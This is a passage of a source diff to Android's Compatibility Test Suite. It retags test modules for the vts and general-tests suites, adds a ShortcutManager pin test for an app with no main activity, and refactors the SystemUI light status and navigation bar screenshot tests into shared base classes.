index bc4aaa7..0d954e2 100644
--- a/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/Android.mk
+++ b/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/Android.mk
@@ -37,7 +37,7 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.launcher4
diff --git a/tests/tests/shortcutmanager/packages/packagemanifest/Android.mk b/tests/tests/shortcutmanager/packages/packagemanifest/Android.mk
index 1103194..b8741f2 100644
--- a/tests/tests/shortcutmanager/packages/packagemanifest/Android.mk
+++ b/tests/tests/shortcutmanager/packages/packagemanifest/Android.mk
@@ -37,7 +37,7 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.package1
@@ -67,7 +67,7 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.package2
@@ -97,7 +97,7 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.package3
diff --git a/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/Android.mk b/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/Android.mk
index 0b1ff53..ac09355 100644
--- a/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/Android.mk
+++ b/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/Android.mk
@@ -37,7 +37,7 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.package4
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherApiTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherApiTest.java
index 5f0e85e..4f25f44 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherApiTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherApiTest.java
@@ -33,6 +33,14 @@
@SmallTest
public class ShortcutManagerLauncherApiTest extends ShortcutManagerCtsTestsBase {
+ @Override
+ protected String getOverrideConfig() {
+ return "max_icon_dimension_dp=96,"
+ + "max_icon_dimension_dp_lowram=96,"
+ + "icon_format=PNG,"
+ + "icon_quality=100";
+ }
+
public void testPinShortcuts() {
runWithCaller(mPackageContext1, () -> {
enableManifestActivity("Launcher_manifest_1", true);
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerRequestPinTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerRequestPinTest.java
index 41b7a82..8f38e18 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerRequestPinTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerRequestPinTest.java
@@ -16,12 +16,17 @@
package android.content.pm.cts.shortcutmanager;
import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.assertWith;
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.dumpsysShortcut;
import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.list;
import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.retryUntil;
import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.setDefaultLauncher;
+import android.content.ComponentName;
import android.content.Intent;
+import android.content.pm.ActivityInfo;
import android.content.pm.LauncherApps.ShortcutQuery;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
import android.content.pm.ShortcutInfo;
import android.content.pm.ShortcutManager;
import android.content.pm.cts.shortcutmanager.common.Constants;
@@ -30,6 +35,7 @@
import android.util.Log;
import com.android.compatibility.common.util.CddTest;
+import java.util.HashMap;
import java.util.List;
@CddTest(requirement="3.8.1/C-4-1")
@@ -103,6 +109,60 @@
return true;
}, "Shortcut still not pinned");
});
+ runWithCaller(mPackageContext1, () -> {
+ assertWith(getManager().getPinnedShortcuts())
+ .forShortcutWithId(SHORTCUT_ID, si -> {
+ assertEquals("label1", si.getShortLabel());
+ })
+ .areAllPinned()
+ .areAllNotDynamic()
+ .areAllNotManifest()
+ .areAllMutable()
+ ;
+ });
+ }
+
+ /**
+ * Same as {@link ShortcutManager#requestPinShortcut} except the app has no main activities.
+ */
+ public void testRequestPinShortcut_noMainActivity() {
+ setDefaultLauncher(getInstrumentation(), mLauncherContext1);
+
+ final PackageManager pm = getTestContext().getPackageManager();
+ final HashMap<ComponentName, Integer> originalState = new HashMap<>();
+ try {
+ for (ResolveInfo ri : pm.queryIntentActivities(
+ new Intent().setPackage(mPackageContext1.getPackageName()), 0)) {
+ final ActivityInfo activityInfo = ri.activityInfo;
+ final ComponentName componentName =
+ new ComponentName(activityInfo.packageName, activityInfo.name);
+
+ originalState.put(componentName, pm.getComponentEnabledSetting(componentName));
+ Log.i(TAG, "Disabling " + componentName);
+ pm.setComponentEnabledSetting(componentName,
+ PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
+ }
+
+ testRequestPinShortcut();
+
+ runWithCaller(mPackageContext1, () -> {
+ assertWith(getManager().getPinnedShortcuts())
+ .areAllPinned()
+ .areAllNotDynamic()
+ .areAllNotManifest()
+ .areAllMutable()
+ .areAllWithActivity(null)
+ ;
+ assertWith(getManager().getManifestShortcuts()).isEmpty();
+ assertWith(getManager().getDynamicShortcuts()).isEmpty();
+ });
+ } finally {
+ // Restore the original state.
+ for (HashMap.Entry<ComponentName, Integer> e : originalState.entrySet()) {
+ pm.setComponentEnabledSetting(e.getKey(), e.getValue()
+ , PackageManager.DONT_KILL_APP);
+ }
+ }
}
// TODO Various other cases (already pinned, etc)
diff --git a/tests/tests/shortcutmanager/throttling/Android.mk b/tests/tests/shortcutmanager/throttling/Android.mk
index 7e6d869..62f959e 100644
--- a/tests/tests/shortcutmanager/throttling/Android.mk
+++ b/tests/tests/shortcutmanager/throttling/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsShortcutManagerThrottlingTest
diff --git a/tests/tests/simpleperf/Android.mk b/tests/tests/simpleperf/Android.mk
index c7f2afb..eaec920 100644
--- a/tests/tests/simpleperf/Android.mk
+++ b/tests/tests/simpleperf/Android.mk
@@ -44,7 +44,7 @@
$($(LOCAL_2ND_ARCH_VAR_PREFIX)TARGET_OBJCOPY) --add-section .testzipdata=$$TMP_FILE $(linked_module) && \
rm -f $$TMP_FILE
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.simpleperf
LOCAL_FORCE_STATIC_EXECUTABLE := true
diff --git a/tests/tests/simpleperf/CtsSimpleperfDebugApp/Android.mk b/tests/tests/simpleperf/CtsSimpleperfDebugApp/Android.mk
index b84be25..2a172b5 100644
--- a/tests/tests/simpleperf/CtsSimpleperfDebugApp/Android.mk
+++ b/tests/tests/simpleperf/CtsSimpleperfDebugApp/Android.mk
@@ -20,7 +20,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, .)
@@ -30,6 +30,6 @@
LOCAL_SDK_VERSION := current
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/speech/Android.mk b/tests/tests/speech/Android.mk
index 3449ec9..1410726 100755
--- a/tests/tests/speech/Android.mk
+++ b/tests/tests/speech/Android.mk
@@ -30,7 +30,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsSpeechTestCases
diff --git a/tests/tests/systemintents/Android.mk b/tests/tests/systemintents/Android.mk
index 1af6702..ba284f5 100644
--- a/tests/tests/systemintents/Android.mk
+++ b/tests/tests/systemintents/Android.mk
@@ -21,13 +21,13 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_PACKAGE_NAME := CtsSystemIntentTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test compatibility-device-util
LOCAL_SDK_VERSION := test_current
diff --git a/tests/tests/systemintents/AndroidTest.xml b/tests/tests/systemintents/AndroidTest.xml
index 7b5e7e9..37f9895 100644
--- a/tests/tests/systemintents/AndroidTest.xml
+++ b/tests/tests/systemintents/AndroidTest.xml
@@ -16,6 +16,7 @@
-->
<configuration description="Config for CTS system intent test cases">
<option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsSystemIntentTestCases.apk" />
diff --git a/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java b/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
index c572629..3f43bdf 100644
--- a/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
+++ b/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
@@ -26,6 +26,8 @@
import android.test.AndroidTestCase;
import android.util.Log;
+import com.android.compatibility.common.util.CddTest;
+
import org.junit.Rule;
import org.junit.Test;
@@ -74,6 +76,7 @@
new Intent(Settings.ACTION_NOTIFICATION_POLICY_ACCESS_SETTINGS))
};
+ @CddTest(requirement="3.8.3.3/C-1-1,3.2.3.5/C-1-1,7.4.7/C-1-2,C-2-3,6.2/C-0-1")
@Test
public void testSystemIntents() {
final PackageManager pm = getContext().getPackageManager();
diff --git a/tests/tests/systemui/Android.mk b/tests/tests/systemui/Android.mk
index 200a3a4..b096ced 100644
--- a/tests/tests/systemui/Android.mk
+++ b/tests/tests/systemui/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_JAVA_LIBRARIES := android.test.runner
@@ -30,6 +30,7 @@
ctstestrunner \
android-support-test \
legacy-android-test \
+ ub-uiautomator \
compatibility-device-util
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/systemui/AndroidManifest.xml b/tests/tests/systemui/AndroidManifest.xml
index fc0d841..8b2c06f 100644
--- a/tests/tests/systemui/AndroidManifest.xml
+++ b/tests/tests/systemui/AndroidManifest.xml
@@ -22,7 +22,11 @@
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<application>
<activity android:name=".LightBarActivity"
- android:theme="@android:style/Theme.Material.NoActionBar"></activity>
+ android:theme="@android:style/Theme.Material.NoActionBar"
+ android:screenOrientation="portrait"></activity>
+ <activity android:name=".LightBarThemeActivity"
+ android:theme="@style/LightBarTheme"
+ android:screenOrientation="portrait"></activity>
<uses-library android:name="android.test.runner" />
</application>
diff --git a/tests/tests/systemui/AndroidTest.xml b/tests/tests/systemui/AndroidTest.xml
index ac3bb93..208f844 100644
--- a/tests/tests/systemui/AndroidTest.xml
+++ b/tests/tests/systemui/AndroidTest.xml
@@ -14,7 +14,9 @@
limitations under the License.
-->
<configuration description="Config for CTS SystemUI test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="sysui" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsSystemUiTestCases.apk" />
diff --git a/tests/tests/systemui/res/drawable/ic_save.png b/tests/tests/systemui/res/drawable/ic_save.png
new file mode 100644
index 0000000..a046efc
--- /dev/null
+++ b/tests/tests/systemui/res/drawable/ic_save.png
Binary files differ
diff --git a/tests/tests/systemui/res/values/colors.xml b/tests/tests/systemui/res/values/colors.xml
new file mode 100644
index 0000000..d16ae02
--- /dev/null
+++ b/tests/tests/systemui/res/values/colors.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2017 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+<resources>
+ <color name="navigationBarColor">#0000ff</color>
+ <color name="navigationBarDividerColor">#ff0000</color>
+</resources>
\ No newline at end of file
diff --git a/tests/tests/systemui/res/values/styles.xml b/tests/tests/systemui/res/values/styles.xml
new file mode 100644
index 0000000..3a546b3
--- /dev/null
+++ b/tests/tests/systemui/res/values/styles.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+ ~ Copyright (C) 2017 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+<resources>
+ <style name="LightBarTheme" parent="@android:style/Theme.Material.Light.NoActionBar">
+ <item name="android:windowLightStatusBar">true</item>
+ <item name="android:windowLightNavigationBar">true</item>
+ <item name="android:navigationBarColor">@color/navigationBarColor</item>
+ <item name="android:navigationBarDividerColor">@color/navigationBarDividerColor</item>
+ </style>
+</resources>
\ No newline at end of file
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarActivity.java b/tests/tests/systemui/src/android/systemui/cts/LightBarActivity.java
index 6a1e0d7..a826575 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarActivity.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarActivity.java
@@ -15,29 +15,13 @@
*/
package android.systemui.cts;
-import android.app.Activity;
-import android.graphics.Color;
-import android.os.Bundle;
import android.view.View;
-import android.view.ViewGroup.LayoutParams;
-
/**
* An activity that exercises SYSTEM_UI_FLAG_LIGHT_STATUS_BAR and
* SYSTEM_UI_FLAG_LIGHT_NAVIGATION_BAR.
*/
-public class LightBarActivity extends Activity {
-
- private View mContent;
-
- public void onCreate(Bundle bundle){
- super.onCreate(bundle);
-
- mContent = new View(this);
- mContent.setLayoutParams(new LayoutParams(LayoutParams.MATCH_PARENT,
- LayoutParams.MATCH_PARENT));
- setContentView(mContent);
- }
+public class LightBarActivity extends LightBarBaseActivity {
public void setLightStatusBar(boolean lightStatusBar) {
setLightBar(lightStatusBar, View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR);
@@ -56,16 +40,4 @@
}
getWindow().getDecorView().setSystemUiVisibility(vis);
}
-
- public int getTop() {
- return mContent.getLocationOnScreen()[1];
- }
-
- public int getBottom() {
- return mContent.getLocationOnScreen()[1] + mContent.getHeight();
- }
-
- public int getWidth() {
- return mContent.getWidth();
- }
}
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarBaseActivity.java b/tests/tests/systemui/src/android/systemui/cts/LightBarBaseActivity.java
new file mode 100644
index 0000000..b4c4e38
--- /dev/null
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarBaseActivity.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.systemui.cts;
+
+import android.annotation.MainThread;
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.View;
+import android.view.ViewGroup.LayoutParams;
+import android.view.WindowInsets;
+
+public class LightBarBaseActivity extends Activity {
+
+ private View mContent;
+
+ @Override
+ protected void onCreate(Bundle bundle){
+ super.onCreate(bundle);
+ mContent = new View(this);
+ mContent.setLayoutParams(new LayoutParams(LayoutParams.MATCH_PARENT,
+ LayoutParams.MATCH_PARENT));
+ setContentView(mContent);
+ }
+
+ @MainThread
+ public WindowInsets getRootWindowInsets() {
+ return getWindow().getDecorView().getRootWindowInsets();
+ }
+
+ public int getSystemUiVisibility() {
+ return mContent.getWindowSystemUiVisibility();
+ }
+
+ public int getTop() {
+ return mContent.getLocationOnScreen()[1];
+ }
+
+ public int getBottom() {
+ return mContent.getLocationOnScreen()[1] + mContent.getHeight();
+ }
+
+ public int getWidth() {
+ return mContent.getWidth();
+ }
+}
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java
new file mode 100644
index 0000000..f1d52a1
--- /dev/null
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java
@@ -0,0 +1,141 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.systemui.cts;
+
+import static android.support.test.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.ActivityManager;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.content.res.Configuration;
+import android.graphics.Bitmap;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.rule.ActivityTestRule;
+import android.util.Log;
+import android.view.KeyEvent;
+import android.view.WindowInsets;
+
+import java.io.FileOutputStream;
+import java.io.IOException;
+
+public class LightBarTestBase {
+
+ private static final String TAG = "LightBarTestBase";
+
+ public static final String DUMP_PATH = "/sdcard/lightstatustest.png";
+
+ protected Bitmap takeStatusBarScreenshot(LightBarBaseActivity activity) {
+ Bitmap fullBitmap = getInstrumentation().getUiAutomation().takeScreenshot();
+ return Bitmap.createBitmap(fullBitmap, 0, 0, activity.getWidth(), activity.getTop());
+ }
+
+ protected Bitmap takeNavigationBarScreenshot(LightBarBaseActivity activity) {
+ Bitmap fullBitmap = getInstrumentation().getUiAutomation().takeScreenshot();
+ return Bitmap.createBitmap(fullBitmap, 0, activity.getBottom(), activity.getWidth(),
+ fullBitmap.getHeight() - activity.getBottom());
+ }
+
+ protected void dumpBitmap(Bitmap bitmap) {
+ Log.e(TAG, "Dumping failed bitmap to " + DUMP_PATH);
+ FileOutputStream fileStream = null;
+ try {
+ fileStream = new FileOutputStream(DUMP_PATH);
+ bitmap.compress(Bitmap.CompressFormat.PNG, 85, fileStream);
+ fileStream.flush();
+ } catch (Exception e) {
+ Log.e(TAG, "Dumping bitmap failed.", e);
+ } finally {
+ if (fileStream != null) {
+ try {
+ fileStream.close();
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ }
+ }
+ }
+
+ private boolean hasVirtualNavigationBar(ActivityTestRule<? extends LightBarBaseActivity> rule)
+ throws Throwable {
+ final WindowInsets[] inset = new WindowInsets[1];
+ rule.runOnUiThread(()-> {
+ inset[0] = rule.getActivity().getRootWindowInsets();
+ });
+ return inset[0].getStableInsetBottom() > 0;
+ }
+
+ private boolean isRunningInVr() {
+ final Context context = InstrumentationRegistry.getContext();
+ final Configuration config = context.getResources().getConfiguration();
+ return (config.uiMode & Configuration.UI_MODE_TYPE_MASK)
+ == Configuration.UI_MODE_TYPE_VR_HEADSET;
+ }
+
+ private void assumeBasics() {
+ final PackageManager pm = getInstrumentation().getContext().getPackageManager();
+
+ // No bars on embedded devices.
+ assumeFalse(getInstrumentation().getContext().getPackageManager().hasSystemFeature(
+ PackageManager.FEATURE_EMBEDDED));
+
+ // No bars on TVs and watches.
+ assumeFalse(pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
+ || pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
+ || pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK));
+
+
+ // Non-highEndGfx devices don't do colored system bars.
+ assumeTrue(ActivityManager.isHighEndGfx());
+ }
+
+ protected void assumeHasColoredStatusBar(ActivityTestRule<? extends LightBarBaseActivity> rule)
+ throws Throwable {
+ assumeBasics();
+
+ // No status bar when running in Vr
+ assumeFalse(isRunningInVr());
+
+ final WindowInsets[] inset = new WindowInsets[1];
+ rule.runOnUiThread(()-> {
+ inset[0] = rule.getActivity().getRootWindowInsets();
+ });
+ assumeTrue("Top stable inset is non-positive.", inset[0].getStableInsetTop() > 0);
+ }
+
+ protected void assumeHasColorNavigationBar (
+ ActivityTestRule<? extends LightBarBaseActivity> rule) throws Throwable {
+ assumeBasics();
+
+ // No virtual navigation bar, so no effect.
+ assumeTrue(hasVirtualNavigationBar(rule));
+ }
+
+ protected void checkNavigationBarDivider(LightBarBaseActivity activity, int dividerColor) {
+ final Bitmap bitmap = takeNavigationBarScreenshot(activity);
+ int[] pixels = new int[bitmap.getHeight() * bitmap.getWidth()];
+ bitmap.getPixels(pixels, 0, bitmap.getWidth(), 0, 0, bitmap.getWidth(), bitmap.getHeight());
+ for (int col = 0; col < bitmap.getWidth(); col++) {
+ if (dividerColor != pixels[col]) {
+ dumpBitmap(bitmap);
+ fail("Invalid color exptected=" + dividerColor + " actual=" + pixels[col]);
+ }
+ }
+ }
+}
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
index aa1cf0f..4ca0873 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
@@ -16,100 +16,160 @@
package android.systemui.cts;
+import static android.support.test.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
import android.app.ActivityManager;
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.UiAutomation;
+import android.content.Context;
import android.content.pm.PackageManager;
import android.graphics.Bitmap;
import android.graphics.Color;
-import android.support.test.InstrumentationRegistry;
-import android.test.ActivityInstrumentationTestCase2;
-import android.util.Log;
-import android.view.KeyCharacterMap;
-import android.view.KeyEvent;
+import android.os.SystemClock;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.InputDevice;
+import android.view.MotionEvent;
-import java.io.FileOutputStream;
-import java.io.IOException;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
import com.android.compatibility.common.util.CddTest;
/**
* Test for light status bar.
*
- * mmma cts/tests/tests/systemui
- * cts-tradefed run commandAndExit cts-dev --module CtsSystemUiTestCases --test android.systemui.cts.LightBarTests --disable-reboot --skip-device-info --skip-all-system-status-check --skip-preconditions
+ * atest CtsSystemUiTestCases:LightBarTests
*/
-public class LightBarTests extends ActivityInstrumentationTestCase2<LightBarActivity> {
+@RunWith(AndroidJUnit4.class)
+public class LightBarTests extends LightBarTestBase {
public static final String TAG = "LightStatusBarTests";
- public static final String DUMP_PATH = "/sdcard/lightstatustest.png";
+ private static final int WAIT_TIME = 2000;
- public LightBarTests() {
- super(LightBarActivity.class);
- }
+ /**
+ * Color may be slightly off-spec when resources are resized for lower densities. Use this error
+ * margin to accommodate for that when comparing colors.
+ */
+ private static final int COLOR_COMPONENT_ERROR_MARGIN = 20;
+ private final String NOTIFICATION_TAG = "TEST_TAG";
+ private final String NOTIFICATION_CHANNEL_ID = "test_channel";
+ private final String NOTIFICATION_GROUP_KEY = "test_group";
+ private NotificationManager mNm;
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- // As the way to access Instrumentation is changed in the new runner, we need to inject it
- // manually into ActivityInstrumentationTestCase2. ActivityInstrumentationTestCase2 will
- // be marked as deprecated and replaced with ActivityTestRule.
- injectInstrumentation(InstrumentationRegistry.getInstrumentation());
- }
+ @Rule
+ public ActivityTestRule<LightBarActivity> mActivityRule = new ActivityTestRule<>(
+ LightBarActivity.class);
+
@CddTest(requirement="3.8.6/C-2-2")
+ @Test
public void testLightStatusBarIcons() throws Throwable {
- PackageManager pm = getInstrumentation().getContext().getPackageManager();
- if (pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
- || pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
- || pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK)
- || isRunningInVR()) {
- // No status bar on TVs, watches and when running in VR.
- return;
- }
+ assumeHasColoredStatusBar(mActivityRule);
- if (!ActivityManager.isHighEndGfx()) {
- // non-highEndGfx devices don't do colored system bars.
- return;
+ mNm = (NotificationManager) getInstrumentation().getContext()
+ .getSystemService(Context.NOTIFICATION_SERVICE);
+ NotificationChannel channel1 = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
+ NOTIFICATION_CHANNEL_ID, NotificationManager.IMPORTANCE_LOW);
+ mNm.createNotificationChannel(channel1);
+
+ // post 10 notifications to ensure enough icons in the status bar
+ for (int i = 0; i < 10; i++) {
+ Notification.Builder noti1 = new Notification.Builder(getInstrumentation().getContext(),
+ NOTIFICATION_CHANNEL_ID)
+ .setSmallIcon(R.drawable.ic_save)
+ .setChannelId(NOTIFICATION_CHANNEL_ID)
+ .setPriority(Notification.PRIORITY_LOW)
+ .setGroup(NOTIFICATION_GROUP_KEY);
+ mNm.notify(NOTIFICATION_TAG, i, noti1.build());
}
+ Thread.sleep(WAIT_TIME);
+ Bitmap beforeBitmap = takeStatusBarScreenshot(mActivityRule.getActivity());
requestLightBars(Color.RED /* background */);
- Thread.sleep(1000);
+ Thread.sleep(WAIT_TIME);
- Bitmap bitmap = takeStatusBarScreenshot();
- Stats s = evaluateLightBarBitmap(bitmap, Color.RED /* background */);
- assertLightStats(bitmap, s);
+ Bitmap bitmap = takeStatusBarScreenshot(mActivityRule.getActivity());
+ Bitmap result = treatCutoutAsBackground(beforeBitmap, bitmap);
+ if (beforeBitmap != null) {
+ beforeBitmap.recycle();
+ }
+ if (bitmap != null && bitmap != result) {
+ bitmap.recycle();
+ }
+
+ Stats s = evaluateLightBarBitmap(result, Color.RED /* background */);
+ assertLightStats(result, s);
+
+ mNm.cancelAll();
+ mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
}
+ private Bitmap treatCutoutAsBackground(Bitmap before, Bitmap after) {
+ if (before == null || after == null || before.getWidth() != after.getWidth()
+ || before.getHeight() != after.getHeight()) {
+ return after;
+ }
+
+ Bitmap result = after.copy(Bitmap.Config.ARGB_8888, true);
+
+ final int width = before.getWidth();
+ final int height = after.getHeight();
+ int[] beforePixels = new int[height * width];
+ before.getPixels(beforePixels, 0, width, 0, 0, width, height);
+ int[] afterPixels = new int[height * width];
+ after.getPixels(afterPixels, 0, width, 0, 0, width, height);
+
+ for (int i = 0; i < height; i++) {
+ for (int j = 0; j < width; j++) {
+ int cBefore = beforePixels[i * width + j];
+ int cAfter = afterPixels[i * width + j];
+
+ if (cBefore == cAfter && Color.luminance(cAfter) < 0.01f) {
+ result.setPixel(j, i, Color.RED);
+ }
+ }
+ }
+
+ return result;
+ }
+
+ @Test
public void testLightNavigationBar() throws Throwable {
- PackageManager pm = getInstrumentation().getContext().getPackageManager();
